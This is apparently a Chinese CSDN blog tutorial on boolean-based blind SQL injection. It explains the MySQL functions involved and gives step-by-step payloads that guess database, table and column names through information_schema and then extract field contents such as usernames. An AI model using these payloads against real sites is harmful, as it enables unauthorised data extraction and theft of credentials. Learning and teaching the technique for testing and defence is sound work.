SQL盲注--布尔盲注_sql布尔盲注-程序员宅基地

技术标签: web安全  

1.适用情况

输入参数后,正确页面和错误页面有差异。但输入order by 没有回显。即只能根据页面不同判断语句是否正确,但没有回显位置能显示信息。

2.解决原理

用函数(regexp,like,ascii,left,ord,mid,length)猜相关信息,构建有关数据库名的表达式,利用其正确时与错误时返回页面不一样的特征,看页面返回情况判断表达式对错,根据返回的页面来判断正确的数据信息。

3.相关函数

  • length(str) 函数,返回字符串的长度
    • str:字符串
    • length(database()) = 3 
    • ascii(str) 函数,返回字符ascii码
  • ascii(str) 函数,返回字符ascii码
    • str:单字符
  • substr(str,pos,length) / substring() 函数 , 返回从pos位置开始到length长度的子字符串
    • str: 字符串
    • pos:开始位置
    • length: 截取长度
    • substr()函数截取字符串:substr(database(),1,3) 
      (截取从左到右数的第1个字符到第3个字符)
  • left(str,length) 函数,返回从左至右截取固定长度的字符串
    • str:字符串
    • length:截取长度
    • left() 函数确定准确字母:left(database(),1) = a
  • count() 返回匹配指定条件的行数 

 

3.基本流程

(1).判断注入类型

(2).获取数据库名的长度

xx and length(database()) = 猜测的数字

(3).逐字猜解数据库名字

逐字猜解要用到substr(str,pos,length),依次增加pos来实现逐位遍历

先用ascii函数缩小范围

xx and ascii(substr(database(),1,1)) < 97

也可以用left(str,length) 函数猜测部分字符串

xx and left(database(),6) = "hetian"

(4).获取当前数据库中表的个数

需要用到count函数和information_schema库,注意select语句用括号包起来 

xx and (select count(table_name) from information_schema.tables where table_schema=database()) = 4 

(5).求当前数据库中其中一个表名的长度

由于一般情况下table_name有多个,此处需要用limit语句取指定位数上的表

  • limit语句 限制查询结果返回的数量
    • 举例:select * from tableName limit i,n

      • tableName : 为数据表;

      • i : 为查询结果的索引值(默认从0开始);

      • n : 为查询结果返回的数量

猜测第一个表的长度为4:

xx and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 4

猜测第二个表的长度为6: 

 xx and length((select table_name from information_schema.tables where table_schema=database() limit 1,1)) = 6

注意!

  • 表达式要再加一对括号,因为limit 0,1中有逗号,数据库会认为输入了两个参数从而报错。
  • 为了避免无效查询,先获取多个表的长度,再根据长度选择表

(6).逐字猜解数据表表名

xx and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 97

(7).求列名的数量

xx and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="user") = 4

(8).求列名的长度

xx and length((select column_name from information_schema.columns where table_schema=database() and table_name="user" limit 0,1)) = 4

同上,为了避免无效查询,获取多个列名的长度,再根据长度选择

(9).求列名的ASCII码范围

xx and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user" limit 0,1),1,1)) < 97

(10).逐字猜解列名

xx and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user" limit 0,1),1,1)) = 107

(11).求字段内容的长度

xx and length(select username from user)=4

(12).求字段内容对应的ASCII

xx and ascii(substr((select username from user),1,1))=107

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/Auroraxsn/article/details/124413541

智能推荐

2021年最棒的10款Java框架,你喜欢哪个?_什么框架最好用-程序员宅基地

文章浏览阅读3.7k次,点赞3次,收藏7次。Java是一种强大的语言,当与框架相结合时,Java可以为您提供电子商务,银行,云计算,财务,大数据,股票市场,且更多的任何域的最佳解决方案。如果您刚刚从Java开始,请参阅Java Live Active使用此博客将通过您需要知道的所有重要概念来开始使用框架。什么是Java框架?作为模板或骨架的预先写代码的正文,其中一个开发人员可以根据需要填写其代码来使用和重用以创建应用程序,以便在他们打算引用其作为框架时使用的代码来创建应用程序。重用框架使开发人员能够在没有手动开销的情况下从头开始创建每.._什么框架最好用

安装oracle克隆数据库卡死,oracle数据库之克隆方法-程序员宅基地

文章浏览阅读729次。Oracle 数据库之克隆方法Oracle 8.1.7 for Linux系统,在安装上存在一切困难,尤其在Redhat7.2系统下安装的时候会出现很多意想不到的事情,譬如图形界面无法显示、xwin无法远程连接,在编译的过程中如果没有安装GCC,Glibc等等一些库文件,容易出现无法link的错误,而全部安装又会造成其他困难。因此在Oracle安装过程中总结出来了一些经验。介绍如下::Oracle..._fmw_home/oracle_common/bin/pasteconfig.sh 克隆 timeout

计算机考研408每日一题 day67_用足够容量的一维数组b对nxn阶-程序员宅基地

文章浏览阅读899次,点赞2次,收藏3次。将一个n×n的对称矩阵A的下三角部分按行存放在一个一维数组B中,A[0][0]存放在B[0]中,那么第i行的对角元素A[i][i]在B中的存放位置是___(中国科学院大学 2016)如果分时系统的时间片固定,那么___,则响应时间越长。(兰州大学 2005年)关于路由器说法正确的是___。(中国科学院大学 2015)通常所说的“溢出”,是指___(哈尔滨工程大学 2004年)_用足够容量的一维数组b对nxn阶

AgileEAS.NET SOA 平台5.1开发包介绍-程序员宅基地

文章浏览阅读101次。一、前言 AgileEAS.NET应用开发平台,简称EAS.NET,是基于敏捷并行开发思想和Microsoft .Net构件(组件)开发技术而构建的一个快速开发应用平台。用于帮助中小型软件企业建立一条适合市场快速变化的开发团队,以达到节省开发成本、缩短开发时间,快速适应市场变化的目的。 AgileEAS.NET应用开发平台包含基础类库、资源管理平台、运行容器、开发辅助工具等..._agile eas soa开发教程

友华光猫超级密码获取——PT622&PT632_pt622g超级密码-程序员宅基地

文章浏览阅读4.8w次,点赞5次,收藏14次。前言上上周家里宽带升级成了200M,原有的100M光猫不能用了,电信公司给换上了一个新的1000M光猫,同时也将网络连接方式给从原来的光猫桥接改成光猫路由了,这让我自己的小服务器顿时与外界失去联系了。于是想进入光猫管理界面把连接方式修改回来,哪曾想进去后根本没有发现修改页面,好吧,知道是电信公司搞得鬼,我需要扒掉电信公司给带的套,无套作业才爽嘛。_pt622g超级密码

解决idea 2020.2版本安装jclasslib无法使用_jclasslib-bytecode-viewer插件没用-程序员宅基地

文章浏览阅读2.1k次,点赞5次,收藏5次。使用jclasslib不光可以直观地查看某个类对应的字节码文件,还可以查看类的基本信息、常量池、接口、属性、函数等信息。使用idea自带插件下载的方式安装在这就不说啦……网络上一大堆啦……说说我遇到的问题:我的idea版本是2020.2的,使用插件市场下载jclasslib后,点击view只有show Bytecode,没有JClasslib我怀疑应该是我的idea版本和插件的版本不太兼容,或者是新版的插件有其他更改导致然后找到了插件官网https://plugins.je..._jclasslib-bytecode-viewer插件没用

随便推点

鸿蒙-南向轻内核开发实战系列(一)基于小熊派鸿蒙季开发板环境搭建_鸿蒙系统内核开发环境的搭建方法-程序员宅基地

文章浏览阅读1.9k次,点赞6次,收藏12次。前言前一段时间,我写过一篇关于LiteOS-A开发环境搭建的文章(实际上是将其作为独立的RTOS来开发的),今天正式讲一讲LiteOS作为鸿蒙内核子系统该如何开发。对于HarmonyOS,开发工作大致可以分为南向开发(内核、驱动)和北向开发(App应用)。我们主讲南向开发。在目前的鸿蒙2.0版本下,南向轻内核开发的资料相对更加完善,主要是针对LiteOS内核。讲到这里,能完整编译到手机上运行的鸿蒙镜像,可能大家还要再等一等了(笔者也很期待)。概述为了帮大家理清楚鸿蒙开发的套路,我们从头再梳理一遍相关_鸿蒙系统内核开发环境的搭建方法

勒索软件趋势和受害者影响统计数据【2023下半年】-程序员宅基地

文章浏览阅读928次,点赞16次,收藏18次。新钛云服已累计为您分享788篇技术干货1摘要2023年下半年,Leak 网站上发布了2,344 家公司的勒索软件感染。与2022 年下半年(2022年7月1日至2022年12月31日)相比,受影响的公司总数增加了79.2%。共有53个勒索软件组织处于活动状态,每个组织平均攻击了44家公司。有25个新的或修改的数据泄密网站。拥有数据泄密网站的新勒索软件组织,每个组织平均攻击约21家公司。2023年下...

libtorch c++调用 (五)Linux下的调用_linux 引用libtorch gpu set(cuda_toolkit_root_dir "/p-程序员宅基地

文章浏览阅读3.5k次,点赞5次,收藏12次。libtorch下载地址:https://download.pytorch.org/libtorch/cpu/libtorch-shared-with-deps-1.5.1%2Bcpu.zip在linux系统下新建一个文件夹如:pytorch_test文件夹下新建一个文件:main.cpp,文件内容如下:#include <iostream>#include <torch/torch.h> using namespace std; int main(){ _linux 引用libtorch gpu set(cuda_toolkit_root_dir "/path/to/cuda")

Cython+Pyinstaller Python编译与打包-程序员宅基地

文章浏览阅读3.3k次。Cython+Pyinstaller Python编译与打包示例项目结构:➜ cpdemo tree.|-- libs| |-- A| | `-- a.py| `-- B| `-- b.py`-- setup |-- build_pyd.py `-- main.py总共四个文件,A 和 B分别是两个类,其中mian.py 引用a,..._cython+pyinstaller

传感器i2c与arduino连接_Arduino I2C + 温湿度传感器HTS221-程序员宅基地

文章浏览阅读1.1k次。主要特性HTS221是意法半导体(STMicroelectronics)生产的小体积、数字式温湿度传感器IC。该IC目前在官网仍处在“评估”状态。其主要特性:工作电压:1.7~3.6V数据输出频率(ODR)可设:1Hz ~ 12.5Hz低功耗:2μA@1Hz ODR温度精度:给出误差典型值+/-0.5°C, 15~40°C;但注明“Typical specifications are not gu..._arduino 虚拟i2c sht21

umi.js学习(五)、antd 中使用From表单报错_antd的useform 失效-程序员宅基地

文章浏览阅读958次。在modal弹窗框中使用From表单报错devScripts.js:5836 Warning: Instance created by `useForm` is not connected to any Form element. Forget to pass `form` prop?官方文档解释:在modal中加上forceRender 强制加载更新From表单内容报错Cannot update during an existing state transition (such as._antd的useform 失效

推荐文章

热门文章

相关标签